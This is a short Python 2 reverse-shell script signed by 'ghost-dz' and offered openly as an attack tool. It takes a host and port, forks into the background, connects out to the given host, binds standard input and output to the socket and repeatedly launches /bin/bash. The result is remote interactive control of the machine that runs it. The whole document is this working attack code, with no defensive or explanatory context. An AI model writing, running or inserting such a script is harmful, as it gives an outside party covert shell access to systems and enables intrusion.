BC python

#!/usr/bin/env python -u
# By ghost-dz
# [email protected]

import sys, socket, os

if len(sys.argv) != 3:
 print "[x] Uso: %s [host] [port]" % (sys.argv[0])
else:
 host = str(sys.argv[1])
 port = int(sys.argv[2])
 handler = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 try:
  try:
   if os.fork() > 0: os._exit(0)
  except OSError, error:
   print 'Error En Fork: %d (%s)' % (error.errno, error.strerror)
   pid = os.fork()
   if pid > 0:
    print 'Fork No Valido!'
  handler.connect((host, port))
  print "\n[x] Reverse Shell By ghost-dz.... OK\n"
  os.dup2(handler.fileno(), sys.stdin.fileno())
  os.dup2(handler.fileno(), sys.stdout.fileno())
  handler.sendall(('\n<----------------Reverse Shell By ghost-dz---------------->\n'))
  while handler.recv:
   handler.sendall(('\n[ghost-dz]#'))
   os.system('/bin/bash')
 except:
  print "[!] Error connection"